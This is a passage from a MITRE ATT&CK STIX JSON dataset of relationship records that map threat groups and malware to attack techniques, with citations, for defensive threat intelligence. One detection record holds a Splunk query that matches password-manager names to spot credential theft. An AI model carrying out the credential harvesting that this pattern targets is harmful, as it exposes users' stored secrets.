2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-09T19:02:36.878Z","description":"[APT41](https://attack.mitre.org/groups/G0096) performed password brute-force attacks on the local admin account.(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79958f80-16ca-4287-b691-9c748d6baf66","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"modified":"2020-01-17T19:39:11.377Z","description":"[Dok](https://attack.mitre.org/software/S0281) uses AppleScript to create a login item for persistence.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--f36b2598-515f-4345-84e5-5ccde253edbe","target_ref":"attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7995952f-370f-4514-a0c1-ce160b4c90c1","type":"relationship","created":"2021-08-31T15:25:13.487Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture MUDCARP March 2019","url":"https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies","description":"Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}],"modified":"2021-10-01T19:12:19.715Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has utilized techniques like reflective DLL loading to write a DLL into memory and load a shell that provides backdoor access to the victim.(Citation: Accenture MUDCARP March 2019)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--799eccf9-478d-421e-8f14-074b5546cb6a","type":"relationship","created":"2020-01-24T14:52:25.778Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T14:52:25.778Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--79a228b4-a0b7-44ca-80a2-7c6884070214","created":"2022-03-30T14:26:51.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ise Password Manager February 2019","description":"ise. (2019, February 19). Password Managers: Under the Hood of Secrets Management. Retrieved January 22, 2021.","url":"https://www.ise.io/casestudies/password-manager-hacking/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T14:43:46.263Z","description":"Monitor executed commands and arguments that may acquire user credentials from third-party password managers. (Citation: ise Password Manager February 2019)\n\nAnalytic 1 - Commands indicating credential searches in password managers.\n\n index=security sourcetype IN (\"linux_secure\", \"macos_secure\")\n(CommandLine IN (\"*keepass*\", \"*lastpass*\", \"*1password*\", \"*bitwarden*\", \"*dashlane*\", \"*passwordsafe*\", \"*login*\", \"*vault*\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--79a92839-53b3-4ff2-90f4-8f9630b2da93","created":"2024-06-27T19:30:41.640Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-27T19:35:10.560Z","description":"[LunarLoader](https://attack.mitre.org/software/S1143) can use the DNS domain name of a compromised host to create a decryption key to ensure a malicious payload can only execute against the intended targets.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--6490afef-d88e-4e2b-b9d9-a472508ca59d","target_ref":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--79ad0030-3301-4063-866f-4947531ff8c0","created":"2024-07-25T20:42:18.464Z","revoked":false,"external_references":[{"source_name":"Symantec Daggerfly 2023","description":"Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T20:42:18.464Z","description":"[MgBot](https://attack.mitre.org/software/S1146) includes modules for collecting information on local domain users and permissions.(Citation: Symantec Daggerfly 2023)","relationship_type":"uses","source_ref":"malware--a36eedea-9523-4abb-96e8-205f171ee763","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79b0a6bc-4061-468c-ac1b-eef3dc3fb419","type":"relationship","created":"2020-11-10T16:24:46.955Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."}],"modified":"2020-11-10T16:24:46.955Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has accessed victim networks by using stolen credentials to access the corporate VPN infrastructure.(Citation: FireEye KEGTAP SINGLEMALT October 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79b3c546-efbf-4642-b5f1-61d4b497d4b9","type":"relationship","created":"2021-04-16T19:04:13.561Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."},{"source_name":"MSTIC NOBELIUM May 2021","url":"https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/","description":"Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021."},{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."},{"source_name":"Secureworks IRON RITUAL Profile","url":"https://www.secureworks.com/research/threat-profiles/iron-ritual","description":"Secureworks CTU. (n.d.). IRON RITUAL. Retrieved February 24, 2022."}],"modified":"2022-02-24T20:32:44.489Z","description":"(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: MSTIC Nobelium Toolset May 2021)(Citation: Secureworks IRON RITUAL Profile)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--32f49626-87f4-4d6c-8f59-a0dca953fe26","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79b95cda-7281-4a71-ac67-007615653d1b","type":"relationship","created":"2021-01-08T21:23:21.243Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Red Canary NETWIRE January 2020","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."},{"source_name":"Proofpoint NETWIRE December 2020","url":"https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns","description":"Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021."}],"modified":"2021-04-20T15:37:19.234Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) has the ability to use /bin/bash and /bin/sh to execute commands.(Citation: Red Canary NETWIRE January 2020)(Citation: Proofpoint NETWIRE December 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79b980bb-f79e-4576-b927-be52be236f15","type":"relationship","created":"2019-06-07T15:11:47.368Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro IXESHE 2012","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf","description":"Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."}],"modified":"2019-06-10T19:29:30.758Z","description":"[Ixeshe](https://attack.mitre.org/software/S0015) can download and execute additional files.(Citation: Trend Micro IXESHE 2012)","relationship_type":"uses","source_ref":"malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79bae99a-8480-4857-834b-fa823adca4c6","type":"relationship","created":"2020-05-08T19:27:12.568Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Inception November 2018","url":"https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/","description":"Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."}],"modified":"2020-05-12T15:18:44.209Z","description":"[PowerShower](https://attack.mitre.org/software/S0441) sets up persistence with a Registry run key.(Citation: Unit 42 Inception November 2018)","relationship_type":"uses","source_ref":"malware--53486bc7-7748-4716-8190-e4f1fde04c53","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79c427b2-05c5-4e55-9626-b5709b2afd9a","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor for newly assigned drive letters or mount points to a data storage device that may attempt to exfiltrate data via a physical medium, such as a removable drive.","source_ref":"x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f","target_ref":"attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79c46f52-743a-4a17-bede-aa003c03f6b1","type":"relationship","created":"2020-06-10T19:31:48.084Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.405Z","description":"[build_downer](https://attack.mitre.org/software/S0471) has the ability to detect if the infected host is running an anti-virus process.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--d2c7f8ad-3b50-4cfa-bbb1-799eff06fb40","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79c5870a-c93f-47c5-a382-e26a23666209","type":"relationship","created":"2021-10-05T01:34:08.658Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:54:13.458Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154)'s execute-assembly command can run a .NET executable within the memory of a sacrificial process by loading the CLR.(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--79c73e97-2bce-4900-b7b8-10528d687ac7","created":"2022-03-30T14:26:51.856Z","x_mitre_version":"0.1","external_references":[{"source_name":"AWS CloudTrail Search","url":"https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/","description":"Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020."},{"source_name":"Cloud Audit Logs","url":"https://cloud.google.com/logging/docs/audit#admin-activity","description":"Google. (n.d.). Audit Logs. Retrieved June 1, 2020."},{"source_name":"Azure Activity Logs","url":"https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs","description":"Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity.\nIn AWS, CloudTrail logs capture the creation of an instance in the RunInstances event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search) (Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances create to create a VM.(Citation: Cloud Audit Logs)","modified":"2022-04-19T21:31:28.247Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--b5b0e8ae-7436-4951-950a-7b83c4dd3f2c","target_ref":"attack-pattern--144e007b-e638-431d-a894-45d90c54ab90","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79c960d7-edf2-4005-8c0a-31acd830ca8a","type":"relationship","created":"2019-05-02T14:56:18.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved May 1, 2019.","url":"https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/","source_name":"Cofense RevengeRAT Feb 2019"}],"modified":"2020-03-20T21:25:46.849Z","description":"[Revenge RAT](https://attack.mitre.org/software/S0379) used blogpost.com as its primary command and control server during a campaign.(Citation: Cofense RevengeRAT Feb 2019)","relationship_type":"uses","source_ref":"malware--bdb27a1d-1844-42f1-a0c0-826027ae0326","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--79c992f3-9df2-4ea0-a63f-690409f5faca","created":"2023-01-26T19:14:16.958Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-26T19:14:16.958Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can use the GetExtendedTcpTable function to retrieve information about established TCP connections.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79cb18f3-0640-4b9d-9e93-62e3300f99d8","type":"relationship","created":"2020-10-21T19:08:44.247Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Metamorfo Feb 2020","url":"https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions","description":"Zhang, X. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."}],"modified":"2021-10-15T00:45:22.233Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) had used AutoIt to load and execute the DLL payload.(Citation: Fortinet Metamorfo Feb 2020) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79cd2ec8-068c-4a7a-8133-1855381d3bd3","type":"relationship","created":"2017-05-31T21:33:27.037Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2019-08-20T13:08:13.413Z","description":"(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"tool--2e45723a-31da-4a7e-aaa6-e01998a6788f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--79cebb53-3154-4512-9343-2942b1f72ff5","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft FinFisher March 2018","description":"Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.","url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"},{"source_name":"FinFisher Citation","description":"FinFisher. (n.d.). Retrieved September 12, 2024.","url":"https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:23:46.695Z","description":"[FinFisher](https://attack.mitre.org/software/S0182) queries Registry values as part of its anti-sandbox checks.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)","relationship_type":"uses","source_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79cf4e4a-aa04-4414-85a8-17cc6f0cad18","type":"relationship","created":"2020-03-20T16:01:21.024Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-20T16:01:21.024Z","relationship_type":"revoked-by","source_ref":"attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69","target_ref":"attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--79cf4f25-6d05-4756-a671-2d578c6db184","created":"2023-03-17T15:26:04.773Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"},{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T15:35:36.694Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) sent victims spearphishing messages via LinkedIn concerning fictitious jobs.(Citation: ClearSky Lazarus Aug 2020)(Citation: ESET Lazarus Jun 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79d23451-095d-445d-a61e-3351b55eafde","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos GravityRAT","description":"Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.","url":"https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"}],"modified":"2019-04-24T23:21:59.260Z","description":"[GravityRAT](https://attack.mitre.org/software/S0237) collects the volumes mapped on the system, and also steals files with the following extensions: .docx, .doc, .pptx, .ppt, .xlsx, .xls, .rtf, and .pdf.(Citation: Talos GravityRAT)","relationship_type":"uses","source_ref":"malware--1d1fce2f-0db5-402b-9843-4278a0694637","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--79d38aef-d99a-4abc-a643-c334e41173f7","created":"2022-06-03T14:51:12.011Z","x_mitre_version":"0.1","external_references":[{"source_name":"SecureWorks August 2019","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}],"x_mitre_deprecated":false,"revoked":false,"description":"[DanBot](https://attack.mitre.org/software/S1014) can use HTTP in C2 communication.(Citation: SecureWorks August 2019)","modified":"2022-06-03T14:51:12.011Z","relationship_type":"uses","source_ref":"malware--b8d48deb-450c-44f6-a934-ac8765aa89cb","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79d85e89-658e-4a38-b406-624fbe13ce9e","type":"relationship","created":"2021-03-05T16:01:48.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b","description":"USG. (2020, May 12). MAR-10288834-2.v1 – North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."}],"modified":"2021-03-15T17:16:08.887Z","description":"The [TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) main executable has disguised itself as Microsoft’s Narrator.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)","relationship_type":"uses","source_ref":"malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79e8a269-8ef5-4795-94ce-72bfbb03c7cb","type":"relationship","created":"2020-11-10T16:49:12.555Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye KEGTAP SINGLEMALT October 